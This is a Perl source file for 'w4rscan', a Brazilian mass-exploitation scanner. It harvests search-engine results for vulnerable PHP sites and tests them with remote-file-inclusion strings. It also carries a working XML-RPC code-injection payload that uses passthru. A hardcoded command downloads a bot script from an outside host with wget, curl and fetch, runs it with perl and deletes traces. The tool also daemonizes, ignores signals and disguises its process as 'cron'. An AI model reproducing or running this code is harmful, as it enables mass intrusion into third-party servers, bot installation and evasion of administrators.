#!/usr/bin/perl
# Develop by Mr_w4r
# greetx to focused, victorockeiro, twidle_
# irc.efnet.net @ #rootcorp
# Nao me responsabilizo pelo mal uso deste Arquivo
# Voce e livre para alteracoes, porem nao tire os creditos 
# do autor :).
# 
use IO::Socket;
my %CONFIG;
$CONFIG{'rand'}    = int( rand( 50 ) ) . int( rand( 50 ) );

#-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
#	Configurantion Area	       #
#-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=-=-=-=#
$CONFIG{'google'}  = 'www.google.com.br';
$CONFIG{'cade'}    = 'cade.search.yahoo.com';
$CONFIG{'outfile'} = 'resultado'.$CONFIG{'rand'}.'.html';
$CONFIG{'proc'}    = 'cron';
$CONFIG{'pidf'}    = 'pid.w4rscan';
#-=-=-=-=-=-=#
#    EnD     #
#-=-=-=-=-=-=#



    my %option = getopts ( GOOGLES => 'g,:',
			   CADES => 'c,:',
			   STRING => 's,:',
			   VARIABLE => 'v,:',
			   GOOGLE => 'go,:',
			   GOOGLEM => 'm',
			   OUTFILE => 'o,:',
			   CONCAT => 'co,:',
			   RETURN => 'r,:',
			   INDEX => 'i',
			   PROC => 'p,:',
			   FILE => 'f,:',
			   XMLRPC => 'x,:',
			   DAEMON => 'd|D',
			   DEBUG => 'debug',
			   HELP => 'h|help'
			 );
principal();
#/------------------------------------\
#    Cria nosso Processo filho        #
#\------------------------------------/
sub forka{
    $SIG{'INT'}  = "IGNORE";
    $SIG{'HUP'}  = "IGNORE";
    $SIG{'TERM'} = "IGNORE";
    $SIG{'CHLD'} = "IGNORE";
    $SIG{'PS'}   = "IGNORE";
    $0 = $option{'PROC'}."\0"x16;
    my $PID = fork if ( defined( $option{'DAEMON'} ) );
    exit if $PID;
    
    print " Pid: $$\n";
    print " Nome do Processo: $option{'PROC'}\n";
    save2file( $CONFIG{'pidf'}, "pid: $$");
}

#/----------------------------\
# Funcao principal do programa #
#\----------------------------/
sub principal{
    banner();
#new
    xmlrpc($option{'XMLRPC'}) if($option{'XMLRPC'} =~ "xmlrpc");
    optcheck();
    forka() if ( defined( $option{'DAEMON'} ) );

    if ( defined( $option{'GOOGLES'} ) and defined( $CONFIG{'google'} )) { 
	if( !defined($option{'DAEMON'})) {
		print " Procurando : $option{'GOOGLES'}\n";
		print " Pegando link's do google...\n";
	}
	for ( my $pagenumber = 0; $pagenumber < 990; $pagenumber += 10 ){
	    google( $pagenumber );
	}
	print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
    } #Google Search.

    if ( defined( $option{'CADES'} ) and defined( $CONFIG{'cade'} ) ) {
	if(!defined($option{'DAEMON'})) {
		print " Procurando : $option{'CADES'}\n";
		print " Pegando link's do cade...\n";
	}
	for ( my $pagenumber = 1; $pagenumber < 991; $pagenumber += 10 ) {
	    cade( $pagenumber );
	}
	print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
    } #Cade Search

    html_head( $option{'OUTFILE'} );
    open2explore();
    html_foot( $option{'OUTFILE'} );
}
#/---------------------------\
#      Explora o link        #
#\---------------------------/
sub explore {
    my ( $link2explore )         = @_;
    my $index = 0;
    substr( $link2explore, 0, 7) = "" if( $link2explore =~ "http://");

    $index = index( $link2explore, '/' )  if(defined($option{'INDEX'}));
    $index = rindex( $link2explore, '/' ) if(!defined($option{'INDEX'}) && !defined($option{'CONCAT'}));
    $index = index( $link2explore, '?' ) if(defined($option{'VARIABLE'}));
    $index = rindex( $link2explore, "\n" ) if(defined($option{'CONCAT'}));
    chomp($link2explore);    
    $link2explore = substr( $link2explore, 0, $index) if(($index != -1) && ($index != 0));
    $link2explore .= $option{'STRING'} if(defined( $option{'STRING'}));
    $link2explore .= $option{'VARIABLE'} if(defined( $option{'VARIABLE'}));
    $link2explore .= $option{'CONCAT'} if(defined($option{'CONCAT'}));

    my $pagereturn   = &http_get( $link2explore ) unless( defined( $option{'XMLRPC'} )); 
    my $pagereturn   = &xmlrpc_http_post( $link2explore, $option{'XMLRPC'} ) if( defined( $option{'XMLRPC'} ));

    if ( $pagereturn =~ /$option{'RETURN'}/ ) {
	print "[ $link2explore ] Vulneravel\n" if ( !defined( $option{'DAEMON'} ) );
	html_body( $option{'OUTFILE'}, $link2explore );
	return 1;
    }    
    elsif ( $pagereturn == 1 ){
        print "[ $link2explore ] OFF\n" if ( defined( $option{'DEBUG'} ) );
	return 0;
    }
    else {  
	print "[ $link2explore ] OK\n" if ( defined( $option{'DEBUG'} ) );
	return 0;
    }
return 0;
}

#/---------------------------------------------\
#  Abre o Arquivo com os Links para explora-los #
#\---------------------------------------------/
sub open2explore{
    print " Abrindo arquivo com os links ".$CONFIG{'linkf'}."...\n" if ( !defined( $option{'DAEMON'} ) );
    open( FILEL, "<".$CONFIG{'linkf'} );
	while ( <FILEL> ) {
	    explore( $_ );	
	}
    close(FILEL);
}

#/---------------------\
#   imprime meu Banner #
#\---------------------/
sub banner{
    $VERSION = "0.2-XMLRPC";
    print "w4rscan 0.2 ripped...\n";
    print "-x nao printa result e morre em 12s\n";

}

#/-----------------------------------\
#  Checa se as opcoes estao corretas #
#\-----------------------------------/
sub optcheck {

    if( !@ARGV or defined( $option{'HELP'} ) ) {
	print " Uso: $0 -g <procura_google> -c <procura_cade> -s <string_exploracao> -o <arquivo_resultados> -r <retorno>\n\n";
	print " [Options]\n\n";
	print "    -g		Procura no Google\n";
	print "        ex: -g allinurl:index.php?variavel=\n";
	print "    -c		Procura no Cade\n";
	print "        ex: -c inurl:index.php?variavel=\n";
	print "    -s		String para explorar o bug\n";
	print "        ex: -s \'/index.php?variavel=http://evil.com/cmd.gif?comando=id\'\n";
	print "    -o		Arquivo para se salvar os resultados\n";
	print "        ex: -o resultado.html\n";
	print "    -r		Retorno do site q comprova o bug\n";
	print "        ex -r uid=\n";
	print "    -i		Define para nao usar o path do link retornado\n";
	print "        ex: -s \'/caminho/para/index.php?variavel=http://evil.com/cmd.gif?comando=id\'\n";
	print "            -i\n";
	print "    -p		Nome do Processo\n";
	print "        ex: -p scanner\n";
	print "    -d		Roda em background\n";
	print "        ex: -d\n";
	print "    -m           Diz para o google q iremos procurar somente sites do dominio\n";
	print "        ex: -m\n";
	print "    -go          Especifica o dominio do google\n";
	print "        ex: -go www.google.co.kr\n";
	print "    -v           A variavel para se explorar\n";
	print "        ex: -v \'?variavel=http://mal.com/cmd.gif?comando=id\'\n";
	print "    -co          Concatena a string ao final do link\n";
	print "        ex: -co \'|id|\'\n";
	print "    -debug       Joga pra tela o status dos links ON/OFF\n";
	print "        ex: -debug\n";
	print "    -f           Especifica arquivo com links\n";
	print "        ex: -f mylinksCOM.txt\n";
	print "    -x           Comando q quer executar no xmlrpc (NEW)\n";
	print "        ex: -x \"uname -a\"\n\n";
	print " HELP XMLRPC:\n";
	print " [MASS SCAN]\n";
	print "  perl $0 -go www.google.co -g \"postnuke\" -s '/xmlrpc.php' -x \"uname -a;id\" -r uid= -d -p scan -o postnukexmlrpc.html\n";
	print " [Single Explore]\n";
	print "  perl $0 -x http://127.0.0.1/xmlrpc.php\n";
	print "  rootcorp# uname -a;id\n";
	print "  Linux victor 2.4.31-RootCorp #6 Thu Aug 25 16:30:37 PST 2005 i686 unknown unknown GNU/Linux\n";
	print "  uid=99(nobody) gid=99(nobody) groups=99(nobody)\n";
	exit;
    }
     die " Voce precise especificar a string de exploracao do bug\n" if( !defined( $option{'STRING'} )   &&
                                                                          !defined( $option{'VARIABLE'} ) &&
                                                                          !defined( $option{'CONCAT'} )   &&
                                                                          !defined( $option{'XMLRPC'} ));

    die " Voce nao pode especificar a opcao -v com -s com -co (por enquanto)\n" if(defined( $option{'STRING'} )  && 
                                                                                   defined( $option{'VARIABLE'} ) &&
                                                                                   defined( $option{'CONCAT'} ));

    die " Voce precisa especificar o arquivo com os resultados\n" if( !defined( $CONFIG{'outfile'} ) &&
                                                                       !defined( $option{'OUTFILE'} ) );

    die " Voce precisa especificar o nome do processo\n" if( !defined( $CONFIG{'proc'} ) && 
                                                             !defined( $option{'PROC'} ) );

    die " Voce precisa especificar o retorno para se comprovar bugado\n" if( !defined( $option{'RETURN'} ) );

    die " Voce nao pode especificar a opcao -f com -c e/ou -g\n" if( ( defined( $option{'GOOGLES'} ) || defined( $option{'CADES'} ) )
                                                                     && defined( $option{'FILE'} ) );

    $CONFIG{'linkf'}   = 'links'.$CONFIG{'rand'}.'.w4rScan' unless(defined($option{'FILE'}));
    $CONFIG{'linkf'}   = $option{'FILE'} if(defined( $option{'FILE'} ));
    $CONFIG{'google'}  = $option{'GOOGLE'} if(defined( $option{'GOOGLE'} ));
    $option{'OUTFILE'} = $CONFIG{'outfile'} if (!defined( $option{'OUTFILE'} ) );
    $option{'PROC'} = $CONFIG{'proc'} if (!defined( $option{'PROC'} ));
}

#adicionei metodo post futuro colocar meu objeto http aki :]
#metodo fazendo soh pra xmlrpc :)
sub xmlrpc_http_post {
	my $post     = $_[0];
	   substr($post,0,7) = "" if( $post =~ "http://");
	my $cmd = $_[1];
	my $postcode = "<?xml version=\"1.0\"?>".
		       "<methodCall>".
                       "<methodName>test.method</methodName>".
                       "<params>".
                       "<param>".
                       "<value>".
                       "<name>',''));".
                       "echo 'startcode\n';". #inicia a execucao do comando
                       "echo passthru('".$cmd."');".
                       "echo 'endcode\n';exit;/*". #finaliza a execucao do comando :)
                       "</name>".
                       "</value>".
                       "</param>".
                       "</params>".
                       "</methodCall>\n";

	my $socket;
	my $host     = substr($post,0, index($post, '/'));
	my $url      = substr($post, index($post, '/'), length($post));
	my $header   = "POST $url HTTP/1.1\n";
	   $header  .= "Host: $host\n";
	   $header  .= "Content-Type: text/xml\n";
	   $header  .= "Content-Length: ".length($postcode)."\r\n\r\n";
	   $header  .= "$postcode";
           $socket = IO::Socket::INET->new( PeerAddr => "".$host."",
				            PeerPort => "http(80)",
				            Timeout => '7',
				            Proto => "tcp" ) or return(1) if ( !defined ( $socket ) );
	print $socket "$header";
	#my @html = <$socket>;
	close($socket);
	return "[FIM]";
}


#/---------------------------------------------------\
#   Responsavel por estabelecer a conexao http       #
#\---------------------------------------------------/
sub http_get {

    my ($get)	= @_;
    my $socket;

    my $length	= length($get);
    my $index	= index($get, '/');
    my $host	= substr($get, 0, $index);
    my $url	= substr($get, $index, $length);


#****************************
#        Meu Header         #
#*********************************
# Coloquei o User-Agent: Mozilla #
# pq o google tahmuito chato :]  #
#*********************************
    my	$header	 = "GET $.url HTTP/1.1\n";
	$header .= "Keep-Alive: 300\n";
	$header .= "Connection: Closed\n";
	$header .= "Host: $host\n";
	$header .= "User-Agent: Mozilla\r\n\r\n";
    $socket = IO::Socket::INET->new( PeerAddr => "".$host."",
				     PeerPort => "http(80)",
				     Timeout => '35',
				     Proto => "tcp" ) or return(1) if ( !defined ( $socket ) );
    print $socket "$header"; 
    my @html = <$socket>;
    close($socket);
    return "@html";
}
#tira cos html do link :]
sub meta {
	my $clean = $_[0];
	while( $clean =~ s/(\"|\')// ){};
	while( $clean =~ s/\<(\"*|\'*|\;*|b*|br*|amp*|wbr*|\/b*|\>*|\<*)\>// ){};
return $clean;
}


sub xmlrpc {
	my $host = $_[0];
	#print "rootCorp# ";
	my %CONFIG;
	$comando = "cd /tmp;wget http://epr0.kit.net/bot.txt;fetch http://epr0.kit.net/bot.txt;curl -O http://epr0.kit.net/bot.txt;lynx http://epr0.kit.net/bot.txt > bot.txt;GET http://epr0.kit.net/bot.txt > bot.txt;lwp-download http://epr0.kit.net/bot.txt;perl bot.txt rsrs;rm -rf *txt*";
	#$comando = "id";
	chomp($comando);
	while( $comando !~ "exit" ) {
		my $retorno = &xmlrpc_http_post($host, $comando);
		die "Erro de conexao\n" if( $retorno == 1 );
		die "Pagina nao existe\n" if( $retorno =~ 404 );
		$retorno =~ s/startcode\n(.*?)endcode//sm;
		$retorno = $1;
		print "$retorno\n";
		#print "rootCorp# ";
		#$comando = <STDIN>;
		die "[Fim]\n";
		chomp($comando);
	}
exit;
}


#--------------------------------------------\
#  Funcao responsavel por Conectar ao google  #
#--------------------------------------------/
sub google {
    my ( $page )	 = $_[0];
    my $country          = substr( $CONFIG{'google'}, rindex($CONFIG{'google'}, '.')+1, length($CONFIG{'google'})) if(defined($option{'GOOGLEM'}));

       $country          = uc($country) if(defined($option{'GOOGLEM'}));

    my $google_html;
       $google_html	 = &http_get("$CONFIG{'google'}/search?q=$option{'GOOGLES'}&start=$page" ) if(!defined($option{'GOOGLEM'}));
       $google_html      = &http_get("$CONFIG{'google'}/search?q=$option{'GOOGLES'}&start=$page&meta=cr%3Dcountry$country") if(defined($option{'GOOGLEM'}));
    die "Dominio Google Nao Existe\n" if( $google_html == 1 );
    while ( $google_html =~ s/><a href=(.*?)>.*?<\/a>// ) {
	my $google_link = $1;
	    $google_link = meta($google_link);
	substr( $google_link, 0, index( $google_link, 'h' ) ) = "" if ( index( $google_link, '/' ) == 0 );
	$google_link = substr( $google_link, 0, rindex( $google_link, '&' ) ) if( $google_link =~ /&e=42/ );
	if  ( ( $google_link !~/translate/) && ( $google_link !~/cache/) &&
              ( $google_link !~/google/ )   && ( $google_link !~/216/)   &&
              ( $google_link =~/http/ )) {
	    &save2file( $CONFIG{'linkf'}, $google_link );
	}
    }
}

#----------------------------------------\
# Funcao responsavel por conectar ao cade #
#----------------------------------------/
sub cade {
    my ( $page )	= @_;
    $option{'CADES'} =~ s/\:/%3A/;
    my $cade_html	= http_get("$CONFIG{'cade'}/search?p=$option{'CADES'}&ei=UTF-8&fl=0&all=1&pstart=1&b=$page");
    die "Nao foi possivel conectar no Cade\n"  if( $cade_html == 1 );

    while ( $cade_html =~ s/<em class=yschurl>(.*?)<\/em>// ) {
	my $cade_link = $1;
	$cade_link = meta($cade_link);
	&save2file( $CONFIG{'linkf'}, "http://$cade_link" );
    }
}

#---------------------------------\
# Funcao Salva em $file a $string  #
#---------------------------------/
sub save2file {
    my ( $file, $text )	= @_;
    open( Save, ">>".$file );
	print Save "$text\n";
    close(Save);
}

#----------------------\
# Cria o Cabecalho HTML #
#----------------------/
sub html_head {
    my ( $html_file )	= @_;
    my $html_head       = "<html><head><title>W4rScan :)</title></head>\n"; 
       $html_head      .= "<h1>VulnSites<\/h1>\n";
       $html_head      .= "<body bgcolor=\"#c0c0c0\">\n";
       $html_head      .= "Dominio Google: $CONFIG{'google'}<br>\n";
       $html_head      .= "Procurando Google: $option{'GOOGLES'}<br>\n";
       $html_head      .= "Procurando Cade: $option{'CADES'}<br>\n";

    save2file( $html_file, "$html_head" );
}

#------------------\
# Cria o corpo HTML #
#------------------/
sub html_body {
    my ( $html_file , $html_link )	= @_; 
    my $html_body			= "$html_link<br>\n";
       $html_body		       .= "<li><a href=\"http://$html_link\">[Vulneravel]<\/a><\/li><br>\n";

    save2file( $html_file, "$html_body" );
}
#---------------\
# Cria o pe HTML #
#---------------/
sub html_foot {
    my ( $html_file )	= @_;
    my $html_foot	= "Resultado Gerado por w4rScan <br>\n";
       $html_foot      .= "Codado Por Mr_w4r, #rootcorp at irc.efnet.net\n";
       $html_foot      .= "<\/body>\n<\/html>\n";
       
    save2file( "$html_file", "$html_foot" );
}


#  ________________________________________________________
# /                                                        \
#/   Nao codei esta funcao os devidos creditos ao autor ;D  \
#\----------------------------------------------------------/
# \  Funcao responsavel por avaliar as opcoes de @ARGV     /
#  \______________________________________________________/

sub getopts {
  # eheh a little explanation
  # the key is the same used in the return
  # the value gonna be the options to be taken from @ARGV
  # separeted by |
  # after the "," you can give these options:
  #
  # : - take next ARGV as value
  # n - numeral value
  # i - IPv4 address
  # u - delete option if it got none argument (usefull for
  #     arguments which can be 0)
  #
  # by now ... just this one is fine :) if none options specified
  # the return gonna be 1 or 0
  #
  # the key STD should has only the options made by one letter
  # like the Getopts::Std, eg:
  #
  # my %opts = getopts(a => "a", b => "b", c => "c,:", d => "d");
  #                     =
  # my %opts = getopts(STD => "abc:d");
  #
  # @{$opts{UNKNOWN}} gonna have the unknown options given by the user
  # @{$opts{MISS_VALUE}} gonna have the options which need some value
  # and it has been not given

  my %opts = @_;

  my %ret;

  if (defined($opts{STD})) {
     my @opts = split('', $opts{STD});

     for (my $c = 0; $c <= $#opts; $c++) {
       my $arg = $opts[$c];
       my $next_arg = $opts[$c+1];
       next if ($arg eq ":");
       $opts{$arg} = $arg;
       $opts{$arg} .= ",:" if ($next_arg eq ":");
     }

     delete($opts{STD});
  }

  for (my $ca = 0; $ca <= $#ARGV; $ca++) {
     my $arg = $ARGV[$ca];
     my $rarg = $arg;
     last if ($arg eq "--");
     my $next_arg = $ARGV[$ca+1];

     # if not an argument it is some value
     my ($is_arg, $next_is_arg) = (0, 0);
     $is_arg = 1 if ($arg =~ /^-{1,2}/);
     $arg =~ s/^-{1,2}//;
     $next_is_arg = 1 if ($next_arg =~ /^-{1,2}/);
     $next_arg =~ s/^-{1,2}//;

     next if ($is_arg == 0);

     my $value;
     if ($arg =~ /^(.+?)\=(.*)$/) {
        $arg = $1;
        $value = $2;
     }

     my $found = 0;
     foreach my $opt (keys(%opts)) {
        my $opt_value = $opts{$opt};

        my $get_value = 0; # if get_value == 0 is a true/false (1/0) return

        $get_value = 1 if ($opt_value =~ /\,(.*)$/);
        my @types = split('', $1);

        $opt_value =~ s/\,.*$//;


        my @get_opts = split(/\|/, $opt_value);

        if (grep { $_ eq $arg } @get_opts) {
           #delete($opts{$opt}); nahh the last value is great for me
           $found = 1;
           if ($get_value == 0) {
              $ret{$opt} = 1;
           } else {
               my $ret_value = ((defined($value)) ? $value : (defined($next_arg) ? $next_arg : undef));
               if (defined($ret_value)) {
                  if (!@types or grep { $_ eq ":" } @types) {
                    $ret{$opt} = $ret_value;
                  } else {
                     my @wrong;
                     foreach my $type (@types) {
                       my $ok = 1;
                       $ok = 0 if (
                          ($type eq "n" and $ret_value !~ /^\d+$/) or
                          ($type eq "i" and $ret_value !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/));
                          # i thing thats only by now
                       push(@wrong, $type) if ($ok == 0);
                     }

                     if (@wrong) {

                       push(@{$ret{WRONG_VALUE}}, $rarg.','.join('', @wrong)); } else {
                         $ret{$opt} = $ret_value;
                     }
                  }
#               if (defined($value)) {
#                  $ret{$opt} = $value;
#               } elsif ($next_is_arg == 0 and defined($next_arg)) {
#                   $ret{$opt} = $next_arg;
               } else {
                   push(@{$ret{MISS_VALUE}}, $rarg);
               }
           }
        } else {
           delete($ret{$opt}) if (not defined($ret{$opt}) and grep { $_ eq 'u' } @types);
        }
     }
     push(@{$ret{UNKNOWN}}, $rarg) if ($found == 0);
  }

  return(%ret);
}

